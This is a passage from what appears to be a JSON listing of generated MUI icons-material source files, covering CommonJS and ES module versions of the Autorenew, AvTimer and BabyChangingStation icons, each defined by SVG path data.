    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6v3l4-4-4-4v3c-4.42 0-8 3.58-8 8 0 1.57.46 3.03 1.24 4.26L6.7 14.8c-.45-.83-.7-1.79-.7-2.8 0-3.31 2.69-6 6-6m6.76 1.74L17.3 9.2c.44.84.7 1.79.7 2.8 0 3.31-2.69 6-6 6v-3l-4 4 4 4v-3c4.42 0 8-3.58 8-8 0-1.57-.46-3.03-1.24-4.26\"\n}), 'Autorenew');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutorenewOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6v3l4-4-4-4v3c-4.42 0-8 3.58-8 8 0 1.57.46 3.03 1.24 4.26L6.7 14.8c-.45-.83-.7-1.79-.7-2.8 0-3.31 2.69-6 6-6m6.76 1.74L17.3 9.2c.44.84.7 1.79.7 2.8 0 3.31-2.69 6-6 6v-3l-4 4 4 4v-3c4.42 0 8-3.58 8-8 0-1.57-.46-3.03-1.24-4.26\"\n}), 'AutorenewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutorenewOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6v3l4-4-4-4v3c-4.42 0-8 3.58-8 8 0 1.57.46 3.03 1.24 4.26L6.7 14.8c-.45-.83-.7-1.79-.7-2.8 0-3.31 2.69-6 6-6m6.76 1.74L17.3 9.2c.44.84.7 1.79.7 2.8 0 3.31-2.69 6-6 6v-3l-4 4 4 4v-3c4.42 0 8-3.58 8-8 0-1.57-.46-3.03-1.24-4.26\"\n}), 'AutorenewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutorenewRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.2.2-.51 0-.71l-2.79-2.79c-.31-.31-.85-.09-.85.36V4c-4.42 0-8 3.58-8 8 0 1.04.2 2.04.57 2.95.27.67 1.13.85 1.64.34.27-.27.38-.68.23-1.04C6.15 13.56 6 12.79 6 12c0-3.31 2.69-6 6-6m5.79 2.71c-.27.27-.38.69-.23 1.04.28.7.44 1.46.44 2.25 0 3.31-2.69 6-6 6v-1.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.31.31.85.09.85-.35V20c4.42 0 8-3.58 8-8 0-1.04-.2-2.04-.57-2.95-.27-.67-1.13-.85-1.64-.34\"\n}), 'AutorenewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutorenewRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.2.2-.51 0-.71l-2.79-2.79c-.31-.31-.85-.09-.85.36V4c-4.42 0-8 3.58-8 8 0 1.04.2 2.04.57 2.95.27.67 1.13.85 1.64.34.27-.27.38-.68.23-1.04C6.15 13.56 6 12.79 6 12c0-3.31 2.69-6 6-6m5.79 2.71c-.27.27-.38.69-.23 1.04.28.7.44 1.46.44 2.25 0 3.31-2.69 6-6 6v-1.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.31.31.85.09.85-.35V20c4.42 0 8-3.58 8-8 0-1.04-.2-2.04-.57-2.95-.27-.67-1.13-.85-1.64-.34\"\n}), 'AutorenewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutorenewSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6v3l4-4-4-4v3c-4.42 0-8 3.58-8 8 0 1.57.46 3.03 1.24 4.26L6.7 14.8c-.45-.83-.7-1.79-.7-2.8 0-3.31 2.69-6 6-6m6.76 1.74L17.3 9.2c.44.84.7 1.79.7 2.8 0 3.31-2.69 6-6 6v-3l-4 4 4 4v-3c4.42 0 8-3.58 8-8 0-1.57-.46-3.03-1.24-4.26\"\n}), 'AutorenewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutorenewSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6v3l4-4-4-4v3c-4.42 0-8 3.58-8 8 0 1.57.46 3.03 1.24 4.26L6.7 14.8c-.45-.83-.7-1.79-.7-2.8 0-3.31 2.69-6 6-6m6.76 1.74L17.3 9.2c.44.84.7 1.79.7 2.8 0 3.31-2.69 6-6 6v-3l-4 4 4 4v-3c4.42 0 8-3.58 8-8 0-1.57-.46-3.03-1.24-4.26\"\n}), 'AutorenewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutorenewTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6v3l4-4-4-4v3c-4.42 0-8 3.58-8 8 0 1.57.46 3.03 1.24 4.26L6.7 14.8c-.45-.83-.7-1.79-.7-2.8 0-3.31 2.69-6 6-6m6.76 1.74L17.3 9.2c.44.84.7 1.79.7 2.8 0 3.31-2.69 6-6 6v-3l-4 4 4 4v-3c4.42 0 8-3.58 8-8 0-1.57-.46-3.03-1.24-4.26\"\n}), 'AutorenewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutorenewTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6v3l4-4-4-4v3c-4.42 0-8 3.58-8 8 0 1.57.46 3.03 1.24 4.26L6.7 14.8c-.45-.83-.7-1.79-.7-2.8 0-3.31 2.69-6 6-6m6.76 1.74L17.3 9.2c.44.84.7 1.79.7 2.8 0 3.31-2.69 6-6 6v-3l-4 4 4 4v-3c4.42 0 8-3.58 8-8 0-1.57-.46-3.03-1.24-4.26\"\n}), 'AutorenewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AvTimer.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 17c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1m0-14v4h2V5.08c3.39.49 6 3.39 6 6.92 0 3.87-3.13 7-7 7s-7-3.13-7-7c0-1.68.59-3.22 1.58-4.42L12 13l1.41-1.41-6.8-6.8v.02C4.42 6.45 3 9.05 3 12c0 4.97 4.02 9 9 9 4.97 0 9-4.03 9-9s-4.03-9-9-9zm7 9c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1M6 12c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1\"\n}), 'AvTimer');"
  },
  {
    "path": "packages/mui-icons-material/lib/AvTimer.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 17c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1m0-14v4h2V5.08c3.39.49 6 3.39 6 6.92 0 3.87-3.13 7-7 7s-7-3.13-7-7c0-1.68.59-3.22 1.58-4.42L12 13l1.41-1.41-6.8-6.8v.02C4.42 6.45 3 9.05 3 12c0 4.97 4.02 9 9 9 4.97 0 9-4.03 9-9s-4.03-9-9-9zm7 9c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1M6 12c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1\"\n}), 'AvTimer');"
  },
  {
    "path": "packages/mui-icons-material/lib/AvTimerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 17c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1m0-14v4h2V5.08c3.39.49 6 3.39 6 6.92 0 3.87-3.13 7-7 7s-7-3.13-7-7c0-1.68.59-3.22 1.58-4.42L12 13l1.41-1.41-6.8-6.8v.02C4.42 6.45 3 9.05 3 12c0 4.97 4.02 9 9 9 4.97 0 9-4.03 9-9s-4.03-9-9-9zm7 9c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1M6 12c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1\"\n}), 'AvTimerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AvTimerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 17c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1m0-14v4h2V5.08c3.39.49 6 3.39 6 6.92 0 3.87-3.13 7-7 7s-7-3.13-7-7c0-1.68.59-3.22 1.58-4.42L12 13l1.41-1.41-6.8-6.8v.02C4.42 6.45 3 9.05 3 12c0 4.97 4.02 9 9 9 4.97 0 9-4.03 9-9s-4.03-9-9-9zm7 9c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1M6 12c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1\"\n}), 'AvTimerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AvTimerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"12\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"12\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1s1-.45 1-1v-.92c3.31.48 5.87 3.25 6 6.66.14 3.85-3.03 7.2-6.88 7.26C8.19 19.06 5 15.91 5 12c0-1.68.59-3.22 1.58-4.42l4.71 4.72c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L7.26 5.46c-.38-.38-1-.39-1.4-.02C4.1 7.07 3 9.4 3 12c0 5.04 4.14 9.12 9.21 9 4.7-.11 8.63-4.01 8.78-8.71C21.16 7.19 17.07 3 12 3\"\n}, \"3\")], 'AvTimerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AvTimerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"12\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"12\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1s1-.45 1-1v-.92c3.31.48 5.87 3.25 6 6.66.14 3.85-3.03 7.2-6.88 7.26C8.19 19.06 5 15.91 5 12c0-1.68.59-3.22 1.58-4.42l4.71 4.72c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L7.26 5.46c-.38-.38-1-.39-1.4-.02C4.1 7.07 3 9.4 3 12c0 5.04 4.14 9.12 9.21 9 4.7-.11 8.63-4.01 8.78-8.71C21.16 7.19 17.07 3 12 3\"\n}, \"3\")], 'AvTimerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AvTimerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 17c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1m0-14v4h2V5.08c3.39.49 6 3.39 6 6.92 0 3.87-3.13 7-7 7s-7-3.13-7-7c0-1.68.59-3.22 1.58-4.42L12 13l1.41-1.41-6.8-6.8v.02C4.42 6.45 3 9.05 3 12c0 4.97 4.02 9 9 9 4.97 0 9-4.03 9-9s-4.03-9-9-9zm7 9c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1M6 12c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1\"\n}), 'AvTimerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AvTimerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 17c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1m0-14v4h2V5.08c3.39.49 6 3.39 6 6.92 0 3.87-3.13 7-7 7s-7-3.13-7-7c0-1.68.59-3.22 1.58-4.42L12 13l1.41-1.41-6.8-6.8v.02C4.42 6.45 3 9.05 3 12c0 4.97 4.02 9 9 9 4.97 0 9-4.03 9-9s-4.03-9-9-9zm7 9c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1M6 12c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1\"\n}), 'AvTimerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AvTimerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 21c4.97 0 9-4.03 9-9s-4.03-9-9-9h-1v4h2V5.08c3.39.49 6 3.39 6 6.92 0 3.87-3.13 7-7 7s-7-3.13-7-7c0-1.68.59-3.22 1.58-4.42L12 13l1.41-1.41-6.8-6.8v.02C4.42 6.45 3 9.05 3 12c0 4.97 4.02 9 9 9\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"12\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"12\",\n  r: \"1\"\n}, \"3\")], 'AvTimerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AvTimerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 21c4.97 0 9-4.03 9-9s-4.03-9-9-9h-1v4h2V5.08c3.39.49 6 3.39 6 6.92 0 3.87-3.13 7-7 7s-7-3.13-7-7c0-1.68.59-3.22 1.58-4.42L12 13l1.41-1.41-6.8-6.8v.02C4.42 6.45 3 9.05 3 12c0 4.97 4.02 9 9 9\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"12\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"12\",\n  r: \"1\"\n}, \"3\")], 'AvTimerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BabyChangingStation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8v2h-3L8.31 8.82 7 12.75V22H3V12l1.58-4.63c.38-1.12 1.64-1.68 2.72-1.19l4.15 1.83zM8 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m1 18h12v-2H9zm10.5-3c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M13 12c0-.55-.45-1-1-1H9v2h2v1c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2v-3h-2v2h-2z\"\n}), 'BabyChangingStation');"
  },
  {
    "path": "packages/mui-icons-material/lib/BabyChangingStation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8v2h-3L8.31 8.82 7 12.75V22H3V12l1.58-4.63c.38-1.12 1.64-1.68 2.72-1.19l4.15 1.83zM8 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m1 18h12v-2H9zm10.5-3c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M13 12c0-.55-.45-1-1-1H9v2h2v1c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2v-3h-2v2h-2z\"\n}), 'BabyChangingStation');"
  },
  {
    "path": "packages/mui-icons-material/lib/BabyChangingStationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8v2h-3L8.31 8.82 7 12.75V22H3V12l1.58-4.63c.38-1.12 1.64-1.68 2.72-1.19l4.15 1.83zM8 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m1 18h12v-2H9zm10.5-3c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M13 12c0-.55-.45-1-1-1H9v2h2v1c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2v-3h-2v2h-2z\"\n}), 'BabyChangingStationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BabyChangingStationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8v2h-3L8.31 8.82 7 12.75V22H3V12l1.58-4.63c.38-1.12 1.64-1.68 2.72-1.19l4.15 1.83zM8 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m1 18h12v-2H9zm10.5-3c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M13 12c0-.55-.45-1-1-1H9v2h2v1c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2v-3h-2v2h-2z\"\n}), 'BabyChangingStationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BabyChangingStationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9c0 .55-.45 1-1 1h-1.58c-.28 0-.55-.06-.8-.17l-2.3-1.01L7 12.75V21c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-8.67c0-.22.04-.44.11-.65l1.48-4.32c.37-1.11 1.63-1.67 2.71-1.18l4.15 1.83L13 8c.55 0 1 .45 1 1M8 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m2 18h10c.55 0 1-.45 1-1s-.45-1-1-1H10c-.55 0-1 .45-1 1s.45 1 1 1m9.5-3c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M13 12c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2v-2c0-.55-.45-1-1-1s-1 .45-1 1v1h-2z\"\n}), 'BabyChangingStationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BabyChangingStationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9c0 .55-.45 1-1 1h-1.58c-.28 0-.55-.06-.8-.17l-2.3-1.01L7 12.75V21c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-8.67c0-.22.04-.44.11-.65l1.48-4.32c.37-1.11 1.63-1.67 2.71-1.18l4.15 1.83L13 8c.55 0 1 .45 1 1M8 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m2 18h10c.55 0 1-.45 1-1s-.45-1-1-1H10c-.55 0-1 .45-1 1s.45 1 1 1m9.5-3c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M13 12c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2v-2c0-.55-.45-1-1-1s-1 .45-1 1v1h-2z\"\n}), 'BabyChangingStationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BabyChangingStationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8v2h-3L8.31 8.82 7 12.75V22H3V12l1.58-4.63C4.86 6.53 5.63 6.01 6.46 6c.28 0 .56.05.84.18l4.15 1.83zM8 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m1 18h12v-2H9zm10.5-3c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M13 13v-2H9v2h2v3h6v-5h-2v2z\"\n}), 'BabyChangingStationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BabyChangingStationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8v2h-3L8.31 8.82 7 12.75V22H3V12l1.58-4.63C4.86 6.53 5.63 6.01 6.46 6c.28 0 .56.05.84.18l4.15 1.83zM8 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m1 18h12v-2H9zm10.5-3c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M13 13v-2H9v2h2v3h6v-5h-2v2z\"\n}), 'BabyChangingStationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BabyChangingStationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8v2h-3L8.31 8.82 7 12.75V22H3V12l1.58-4.63c.38-1.12 1.64-1.68 2.72-1.19l4.15 1.83zM8 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m1 18h12v-2H9zm10.5-3c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M13 12c0-.55-.45-1-1-1H9v2h2v1c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2v-3h-2v2h-2z\"\n}), 'BabyChangingStationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BabyChangingStationTwoTone.mjs",
